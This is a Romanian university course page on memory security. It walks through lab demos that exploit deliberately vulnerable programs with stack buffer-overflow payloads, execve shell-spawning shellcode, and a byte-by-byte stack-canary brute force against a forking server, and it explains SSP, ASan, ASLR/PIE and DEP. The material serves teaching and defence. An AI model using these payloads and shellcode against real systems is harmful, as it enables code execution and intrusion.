Capitol 08 - Securitatea memoriei

Demo-uri

Pentru parcurgerea demo-urilor, folosim arhiva aferentă. Demo-urile rulează pe Linux. Descărcăm arhiva folosind comanda

wget http://elf.cs.pub.ro/so/res/cursuri/curs-07-demo.zip

și apoi decomprimăm arhiva

unzip curs-07-demo.zip

și accesăm directorul rezultat în urma decomprimării

cd curs-07-demo/

Acum putem parcurge secțiunile cu demo-uri de mai jos.

Reminder: Buffer overflow

La IOCLA am descoperit cum se folosește stiva și cum putem face primii pași în exploatarea unei vulnerabilități de tip buffer overflow. În exercițiile de la IOCLA am exploatat o vulnerabilitate de tipul buffer overflow și am suprascris adresa de retur a unei funcții cu o valoare convenabilă, modificând astfel fluxul de execuție al programului (control flow hijack).

În subdirectorul buffer-overflow/ trecem printr-un exercițiu de tipul buffer overflow. În fișierul buffer-overflow.c avem codul sursă al unui program cu o vulnerabilitate evidentă în funcția read_data():

static size_t read_data(void)
{
        [...]
        char buffer[16];
 
        [...]
        fgets(buffer, 48, stdin);
        [...]

În funcție, deși buffer ocupă 16 octeți, citim 48 de octeți ducând la un buffer overflow.

Dorim exploatarea acestui program în două moduri, ambele vizând suprascrierea unui pointer de cod (code pointer):

  • suprascrierea pointer-ului de funcție func_ptr
  • suprascrierea adresei de retur a funcției read_data()

Pentru aceasta folosim programele executabile deja create: buffer-overflow-32 (pe 32 de biți) și buffer-overflow (pe 64 de biți). Vom genera intrări convenabile (payload-uri) pe care le vom furniza la intrarea programelor pentru a suprascrie pointerii de cod și a genera apelul funcției inject_func().

Nu folosiți comanda make pentru a regenera executabilele. O nouă compilare a acestora va afecta codul generat și payload-urile de exploit-uri din acest demo nu vor mai funcționa.

Pentru a genera payload-urile, urmărim în fișierul executabil generat plasarea în memorie a buffer-ului. Folosim analiză statică și dezasamblăm codul executabilului folosind objdump:

$ objdump -d -M intel buffer-overflow
[...]
0000000000400697 <actual_func>:
[...]

00000000004006a8 <inject_func>:
[...]

00000000004006c0 <read_data>:
  4006c0:       55                      push   rbp
  4006c1:       48 89 e5                mov    rbp,rsp
  4006c4:       48 83 ec 20             sub    rsp,0x20
  4006c8:       48 c7 45 f8 97 06 40    mov    QWORD PTR [rbp-0x8],0x400697
  4006cf:       00
  4006d0:       48 8d 45 e0             lea    rax,[rbp-0x20]
  4006d4:       ba 10 00 00 00          mov    edx,0x10
  4006d9:       be 41 00 00 00          mov    esi,0x41
  4006de:       48 89 c7                mov    rdi,rax
  4006e1:       e8 9a fe ff ff          call   400580 <memset@plt>
[...]

Din secvența de dezasamblare de mai sus extragem informațiile:

  • adresa funcției actual_func este 0x400697
  • adresa funcției inject_func este 0x4006a8
  • pointer-ul func_ptr este plasat la adresa rbp-0x8
  • buffer-ul buffer este plasat la adresa rbp-0x20

În mod similar, obținem informații și prin dezasamblarea executabilului pe 32 de biți:

$ objdump -d -M intel buffer-overflow-32
[...]
08048546 <actual_func>:
[...]

0804855f <inject_func>:
[...]

0804857f <read_data>:
 804857f:       55                      push   ebp
 8048580:       89 e5                   mov    ebp,esp
 8048582:       83 ec 28                sub    esp,0x28
 8048585:       c7 45 f4 46 85 04 08    mov    DWORD PTR [ebp-0xc],0x8048546
 804858c:       83 ec 04                sub    esp,0x4
 804858f:       6a 10                   push   0x10
 8048591:       6a 41                   push   0x41
 8048593:       8d 45 e4                lea    eax,[ebp-0x1c]
 8048596:       50                      push   eax
 8048597:       e8 74 fe ff ff          call   8048410 <memset@plt>

Din secvența de dezasamblare de mai sus extragem informațiile:

  • adresa funcției actual_func este 0x08048546
  • adresa funcției inject_func este 0x0804855f * pointer-ul func_ptr este plasat la adresa ebp-0xc * buffer-ul buffer' este plasat la adresa ebp-0x1c

Cu aceste informații putem calcula offset-ul dintre buffer și pointer-ul de funcție func_ptr, respectiv adresa de retur a funcției. Adresa de retur a funcției se găsește la adresa ebp+4 pe 32 de biți, respectiv la adresa rbp+8 pe 64 de biți. Și genera payload-urile pentru exploatarea programelor. Aceste lucru este realizat în fișierul payloads.py și obținem payload-urile prin interpretarea fișierului:

$ python3 payloads.py
overwrite func_ptr (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08
overwrite return address (32 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08
overwrite func_ptr (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00
overwrite return address (64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00
overwrite return address (SSP, 64 bits): \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00

Putem folosi aceste payload-uri pentru a exploata vulnerabilitatea de tip buffer overflow din cadrul programelor buffer-overflow și buffer-overflow-32:

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32
Insert message (less than 16 bytes): Call injected function.

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x46\x85\x04\x08\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x5f\x85\x04\x08' | ./buffer-overflow-32
Insert message (less than 16 bytes): Call actual function.

Call injected function.

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow
Insert message (less than 16 bytes): Call injected function.

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x97\x06\x40\x00\x00\x00\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41\xa8\x06\x40\x00\x00\x00\x00\x00' | ./buffer-overflow
Insert message (less than 16 bytes): Call actual function.

Call injected function.

Mecanisme defensive: SSP, ASan, ASLR / PIE

Pentru a proteja programele de efectele buffer overflow-urilor, acestea pot fi augmentate cu mecanisme defensive.

SSP

Un prim mecanism defensiv este Stack Smashing Protection (SSP) numit și Stack Guard, mecanism ce constă din plasarea unei valori (numită canary) pe stivă între buffere și adresa de retur. Această valoare este inițializată la intrarea într-o funcție și verificată la ieșirea din funcție. Putem urmări prezența stack canary prin analiză statică:

$ objdump -d -M intel buffer-overflow-ssp

0000000000400730 <read_data>:
  400730:       55                      push   rbp
  400731:       48 89 e5                mov    rbp,rsp
  400734:       48 83 ec 30             sub    rsp,0x30
  400738:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  40073f:       00 00
  400741:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
[...]
  40079e:       48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
  4007a2:       64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28
  4007a9:       00 00
  4007ab:       74 05                   je     4007b2 <read_data+0x82>
  4007ad:       e8 1e fe ff ff          call   4005d0 <__stack_chk_fail@plt>
  4007b2:       c9                      leave
  4007b3:       c3                      ret

Mai sus canary-ul a fost plasat pe stivă la adresa rbp-0x8. La finalul funcției se verifică valoarea sa. Dacă valoarea a fost schimbată, a existat o suprascriere posibil cauzată din cauza unui atac de tipul buffer overflow și se apelează funcția __stack_chk_fail care va încheia execuția programului împreună cu afișarea unui mesaj specific:

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-ssp
Insert message (less than 16 bytes): Call actual function.

*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)

ASan

O formă mai avansată de protecție oferă AddressSanitizer (ASan). Acesta protejează împotriva unui spectru mai larg de erori și afișează mesaje de clarificare pentru eroarea apărută:

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-asan
Insert message (less than 16 bytes): Call actual function.

=================================================================
==26396==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd82ff4910 at pc 0x7f87b096166e bp 0x7ffd82ff48c0 sp 0x7ffd82ff4068
READ of size 44 at 0x7ffd82ff4910 thread T0
    #0 0x7f87b096166d  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
    #1 0x400bc0 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:32
    #2 0x400c1a in main /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:39
    #3 0x7f87b0540b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #4 0x4009d9 in _start (/home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow-asan+0x4009d9)

Address 0x7ffd82ff4910 is located in stack of thread T0 at offset 48 in frame
    #0 0x400ad4 in read_data /home/razvan/school/so/git-repos/curs.git/curs-07-demo/buffer-overflow/buffer-overflow.c:23

  This frame has 1 object(s):
    [32, 48) 'buffer' <== Memory access at offset 48 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
[...]

ASan oferă mecanisme complexe de protecție dar și un overhead care nu permite folosirea sa în producție. De aceea, ASan este folosit în medii de testare pentru a identifica defecte în programele dezvoltate, uzual combinat cu fuzzing.

ASLR / PIE

Realizarea unui atac la memoria unui proces necesită cunoașterea unor adrese din spațiul de adrese al acelui proces. O măsură defensivă care face dificilă aflarea adreselor este plasarea aleatoare a zonelor de memorie în spațiul virtual de adrese al procesului, tehnică numită ASLR (Address Space Layout Randomization). Atunci când se plasează aleator și zonele statice (date, cod) spunem că executabilul este compilat și linkat cu suport de PIC / PIE (Position Independent Code / Position Independent Executable). În cazul acesta, adresele din analiza statică a executabilului nu corespund celor de la run time, care vor fi realizate aleator. Astfel că atacurile de mai sus nu vor funcționa, rezultând în accesul la o zonă care acum este, cel mai probabil, nevalidă:

$ echo -e '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x18\x07\x40\x00\x00\x00\x00\x00' | ./buffer-overflow-pie
Segmentation fault (core dumped)

Secvențele de cod independente de poziție folosesc adresare relativă la poziția curentă în loc de adresare absolută. Mai jos folosim analiză statică pe executabilul cu suport PIE și pe cel fără suport PIE ca să urmărim diferența în folosirea adresei unei funcții:

$ objdump -d -M intel buffer-overflow-pie
[...]
0000000000000817 <read_data>:
 817:   55                      push   rbp
 818:   48 89 e5                mov    rbp,rsp
 81b:   48 83 ec 20             sub    rsp,0x20
 81f:   48 8d 05 c4 ff ff ff    lea    rax,[rip+0xffffffffffffffc4]        # 7ea <actual_func>
[...]

$ objdump -d -M intel buffer-overflow
00000000004006c0 <read_data>:
  4006c0:       55                      push   rbp
  4006c1:       48 89 e5                mov    rbp,rsp
  4006c4:       48 83 ec 20             sub    rsp,0x20
  4006c8:       48 c7 45 f8 97 06 40    mov    QWORD PTR [rbp-0x8],0x400697
  4006cf:       0
[...]

În listarea de mai sus vedem cum pentru cazul PIE adresa funcției actual_func este obținută raportat la registrul pointer de instrucțiune (RIP). În cazul non-PIE adresa este folosită în valoare absolută 0x400697.

Putem să vedem ce mecanisme defensive sunt prezente într-un executabil cu ajutorul scriptului ''checksec'':

$ wget https://raw.githubusercontent.com/slimm609/checksec.sh/master/checksec
[...]

$ chmod a+x checksec 

$ ./checksec --file=buffer-overflow
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   75 Symbols     No	0		3	buffer-overflow

$ ./checksec --file=buffer-overflow-pie
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   77 Symbols     No	0		3	buffer-overflow-pie

$ ./checksec --file=buffer-overflow-ssp
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   76 Symbols     Yes	0		3	buffer-overflow-ssp

Injectarea codului. Shellcodes

Pentru acest demo trebuie să aveți instalat pe sistem asamblorul NASM. Pe un sistem Debian/Ubuntu îl puteți instala folosind comanda:

sudo apt install nasm

În exploit-urile prezentate mai sus am suprascris code pointeri și am modificat fluxul de execuție al programului apelând o funcție existentă (inject_func). Această metodă, de refolosire a codului existent în cadrul unui atac, poartă numele de code reuse attacks. Din păcate pentru atacator, în cazul unui atac de tipul code reuse spațiul posibil de acțiune este limitat la codul existent. Așa că este de preferat un atac de tipul code injection care adaugă (injectează) cod în spațiul virtual de adrese al procesului. În general acest cod rezidă într-o zonă de date (unde este citit) care primește permisiuni de execuție.

Codul injectat de atacator poartă numele de shellcode. Deși denumirea indică deschiderea unei sesiuni de shell, un shellcode poate realiza orice tip de acțiune.

O listă de shellcode-uri pentru diferite sisteme de operare și arhitecturi găsiți aici. De aici vom folosi shellcode-uri în continuare.

În subdirectorul shellcode/ avem resursele pentru generarea și folosirea unui shellcode care va crea un shell.

Shellcode-ul este în general scris în limbaj de asamblare, apoi este asamblat și, din fișierul obiect rezultat, se extrage codul mașină corespunzător ca înșiruire de octeți. Avem un shellcode descris în limbaj de asamblare în fișierul shellcode.asm și unul pentru 32 de biți descris în shellcode-32.asm. Aceste fișiere conțin codificarea în limbaj de asamblare a unui apel de sistem execve. Este echivalent apelului C execve("/bin//sh", ["/bin//sh", NULL], NULL). Ca să obținem codul mașină corespunzător acestor shellcode-uri, folosim fișierul Makefile.shellcode:

$ make -f Makefile.shellcode print
nasm -o shellcode.bin shellcode.asm
\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

$ make -f Makefile.shellcode print-32
nasm -o shellcode-32.bin shellcode-32.asm
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

Cele două șiruri în afișaj hexazecimal sunt cele două shellcode-uri, respectiv pe 64 de biți și 32 de biți.

Aceste două șiruri le folosim în fișierul run-shellcode.c pentru a le rula. În acest fișier, variabila shellcode este populată, depinzând de arhitectura folosită, cu cele două shellcode-uri. Ca să testăm funcționarea celor două shellcode-uri, compilăm fișierul și rulăm cele două executabile:

$ make
gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils  -c -o run-shellcode.o run-shellcode.c
gcc -no-pie  run-shellcode.o   -o run-shellcode
gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o run-shellcode-32.o run-shellcode.c
gcc -no-pie -m32 -o run-shellcode-32 run-shellcode-32.o
gcc -Wall -Wextra -g -fno-stack-protector -fno-PIC -I../utils  -c -o inject-shellcode.o inject-shellcode.c
gcc -no-pie -z execstack -o inject-shellcode inject-shellcode.o
gcc -I../utils -Wall -Wextra -g -fno-stack-protector -fno-PIC -m32 -c -o inject-shellcode-32.o inject-shellcode.c
gcc -no-pie -m32 -z execstack -o inject-shellcode-32 inject-shellcode-32.o

$ ./run-shellcode
$ ls
Makefile            inject-shellcode     inject-shellcode-32.o  inject-shellcode.o  run-shellcode-32    run-shellcode.c  shellcode-32.asm  shellcode.asm  shellcode.o
Makefile.shellcode  inject-shellcode-32  inject-shellcode.c     run-shellcode       run-shellcode-32.o  run-shellcode.o  shellcode-32.bin  shellcode.bin  shellcode.s
$ exit

$ ./run-shellcode-32
$ ls
Makefile            inject-shellcode     inject-shellcode-32.o  inject-shellcode.o  run-shellcode-32    run-shellcode.c  shellcode-32.asm  shellcode.asm  shellcode.o
Makefile.shellcode  inject-shellcode-32  inject-shellcode.c     run-shellcode       run-shellcode-32.o  run-shellcode.o  shellcode-32.bin  shellcode.bin  shellcode.s
$ exit

După rularea celor două executabile rezultate este creat un shell în care putem rula comenzi. Putem valida crearea cu success a shell-ului folosind strace:

$ strace -e execve ./run-shellcode
execve("./run-shellcode", ["./run-shellcode"], 0x7fffdbedd2b0 /* 37 vars */) = 0
execve("/bin/sh", ["/bin/sh"], NULL)    = 0
$ exit

Ca măsură defensivă împotrivă injectării de cod, sistemele moderne oferă suport în tabela de pagini pentru a marca pagini ca fiind neexecutabile. Acest mecanism se numește NX (No Executa) XD (eXecute Disable) sau DEP (Data Execution Prevention). În mod obiștnuit, variabila shellcode din fișierul run-shellcode.c nu ar trebui să fie executabilă. Întrucât este marcată const această variabilă este plasată în zona .rodata. Această zonă este însă uzual colocalizată cu zona .text și astfel are și permisiuni de execuție. Acesta nu este un risc de securitate, întrucât este improbabil ca cineva să completeze într-un program variabile read-only cu valori sensibile ce pot fi executate.

Mai realist este scenariul în care un atacator furnizează programului shellcode-ul și programul îl stochează undeva în memorie de unde, prin mijloace precum supscrierea unui code pointer, este executat shellcode-ul. În aceste scenarii DEP va împiedica rularea shellcode-ului. Pentru a dezactiva DEP pe zona de memorie unde se găsește shellcode-ul, un atacator va trebui să remapeze acea zonă ca fiind executabilă printr-un apel de tipul mprotect / VirtualProtect; deși posibilă, o astfel de acțiune nu este ușor de realizat de un atacator și atacul va deveni mai complicat.

Exemplificarea furnizării unui shellcode către program se găsește în fișierul inject-shellcode.c. Aici citim date de la intrarea standard în variabila shellcode, care acum este o variabilă globală aflată într-o zonă read-write. Rulăm cele două executabile generate (inject-shellcode și inject-shellcode-32) transmițându-le la intrarea shellcode-urile de mai sus:

$ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode

$ echo -e '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' | ./inject-shellcode-32

Motivul pentru care nu obținem un prompt nou este că acum shell-ul nou creat așteată input de la utilizator. Dar standard input-ul este acum dintr-un pipe care s-a închis atunci când procesul echo s-a încheiat. Putem, la fel, să validăm crearea cu succes a shell-ului folosind coamanda strace:

$ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | strace -e execve ./inject-shellcode
execve("./inject-shellcode", ["./inject-shellcode"], 0x7fff2ff13cc0 /* 37 vars */) = 0
execve("/bin/sh", ["/bin/sh"], NULL)    = 0
+++ exited with 0 +++

Dacă dorim să menținem standard input-ul activ după rularea comenzii echo și să rulăm comenzi în shell-ul nou creat, folosim o comandă precum cea de mai jos:

$ cat <(echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05') - | ./inject-shellcode
ls
Makefile            inject-shellcode     inject-shellcode-32.o  inject-shellcode.o  run-shellcode-32    run-shellcode.c  shellcode-32.asm  shellcode.asm  shellcode.o
Makefile.shellcode  inject-shellcode-32  inject-shellcode.c     run-shellcode       run-shellcode-32.o  run-shellcode.o  shellcode-32.bin  shellcode.bin  shellcode.s
exit

Atacul funcționează pentru că dezactivat DEP pentru zonele de date ale procesului creat folosind opțiunea de linker -z execstack. Dacă generăm un fișier executabil fără această opțiune, acesta va eșua să ruleze shellcode-ul și se va genera excepție de acces la memorie:

$ gcc -o inject-shellcode-dep inject-shellcode.c

$ echo -e '\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05' | ./inject-shellcode-dep
Segmentation fault (core dumped)

$ dmesg
[2584266.553494] inject-shellcod[28689]: segfault at 55c1fa5f4040 ip 000055c1fa5f4040 sp 00007fff25d0d518 error 15 in inject-shellcode-dep[55c1fa5f4000+1000]

Codul de eroare pentru segmentation fault este 15, adică acces de execuție la o adresă validă care nu are permisiuni de execuție.

Atacarea SSP

Dorim să atacăm mecanismul defensiv Stack Smashing Protection (SSP) menționat mai sus. Pentru aceasta accesăm subdirectorul socket-ssp/ care creează un fork-based server, adică un server ce creează un proces pentru fiecare conexiune; această particularitate ne permite atacarea SSP permițându-ne suprascrierea adresei de retur.

Urmărim conținutul fișierului socket_ssp.c. În acest fișier în funcția main() se creează un server socket și se acceptă conexiuni de tratarea cărora se ocupă un proces copil. În funcția process_client() se apelează funcția actual_func(). Obiectivul nostru este să exploatăm vulnerabilitatea de tip buffer-overflow din funcția process_client() pentru a suprascrie adresa de retur și a apela funcția inject_func().

Programul este compilat cu suport de Stack Smashing Protection care plasează stack canary pe stivă în funcția process_client(). Opțiunea de compilare -fstack-protector este adăugată în fișierul Makefile:

CFLAGS = -Wall -Wextra -Wno-unused-function -g -fstack-protector -fno-PIC

Nu folosiți comanda make pentru a regenera executabilul socket_ssp. O nouă compilare va afecta codul generat și payload-ul de exploit din acest demo nu va mai funcționa.

Pentru a exploata acest program, pașii sunt similari cu exploatarea vulnerabilității de tip buffer overflow din subdirectorul buffer-overflow/. Va trebui să aflăm:

  • care este adresa funcției inject_func; această valoare va suprascrie adresa de retur
  • care este offset-ul buffer-ului față de adresa de retur
  • care este offset-ul stack canary pe stivă față de buffer

Pentru a afla aceste informații, folosim analiză statică. Dezasamblăm exeuctabilul socket_ssp folosind objdump:

$ objdump -d -M intel socket_ssp
[...]
00000000004009a5 <inject_func>:
[...]

00000000004009c3 <process_client>:
  4009c3:       55                      push   rbp
  4009c4:       48 89 e5                mov    rbp,rsp
  4009c7:       48 83 ec 20             sub    rsp,0x20
  4009cb:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4009d2:       00 00 
  4009d4:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  4009d8:       31 c0                   xor    eax,eax
  4009da:       8b 05 ec 16 20 00       mov    eax,DWORD PTR [rip+0x2016ec]        # 6020cc <connectfd>
  4009e0:       48 8d 4d e0             lea    rcx,[rbp-0x20]
  4009e4:       ba 64 00 00 00          mov    edx,0x64
  4009e9:       48 89 ce                mov    rsi,rcx
  4009ec:       89 c7                   mov    edi,eax
  4009ee:       e8 0d fe ff ff          call   400800 <read@plt>
[...]

Din rezultatul dezasamblării extragem informațiile necesare:

  • adresa funcției inject_func este 0x4009a5
  • buffer-ul este la adresa rbp-0x20 (argumentul apelului read)
  • stack canary este plasată pe stivă la adresa rbp-0x8

Știm că adresa de retur se găsește pe stivă la adresa rbp+0x8.

În realizarea atacului, ținem cont că la fork() (modul de tratare a conexiunilor în implementarea socket_ssp.c) se păstrează spațiul de adresă al procesului, se vor păstra și stack canary. Așa că le putem suprascrie din clientul TCP octet cu octet până nimerim valoarea acelui octet, conform algoritmului:
1. Creăm un mesaj care supascrie doar un octet din canary value: umplem spațiul de la buffer la stack canary și adăugăm un octet.
2. Trimitem mesajul pe rețea.
3. Dacă valoarea nu este cea corectă, procesul copil creat se va încheia cu segmentation fault și conexiune se va încheia. Dacă așa a fost, creștem valoarea cu 1 și încercăm din nou pasul 2.
3'. Când nimerim o valoare, programul nu va genera eroare de tipul stack smashing detection. Se va încheia cu succes, va întoarce mesaj pe rețea și atunci știm că am nimerit octetul și trecem la următorul.
4. O dată descoperit un nou octet, mărim mesajul cu un nou octet și trecem la pasul 2.

Atacul este descris în fișierul exploit.py. Pentru a realiza atacul, avem nevoie de două console: una pe care pornim serverul și una pe care pornim exploit-ul care va crea clienți pentru server. Pornim serverul pe o consolă:

$ ./socket_ssp

și atacul pe altă consolă. Atacul va dura să treacă prin toți octeții și să creeze un proces pentru fiecare socket. În final atacul va reuși și vom apela funcția inject_func(). Un exemplu de atac este prezentat în fișierul result.txt:

$ python3 exploit.py
Canary byte 0 is 0x00
Canary byte 1 is 0x0c
Canary byte 2 is 0xda
Canary byte 3 is 0x55
Canary byte 4 is 0x89
Canary byte 5 is 0x3c
Canary byte 6 is 0x40
Canary byte 7 is 0x71
Exploit result: Called injected function.

La fiecare rulare a serverului socket_ssp valoarea stack canary diferă așa că rezultatul afișat de exploit (conținutul stack canary) va diferi de la rulare la rulare.

so/curs/mem-sec.txt · Last modified: 2020/04/06 17:33 by alexandru.radovici
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0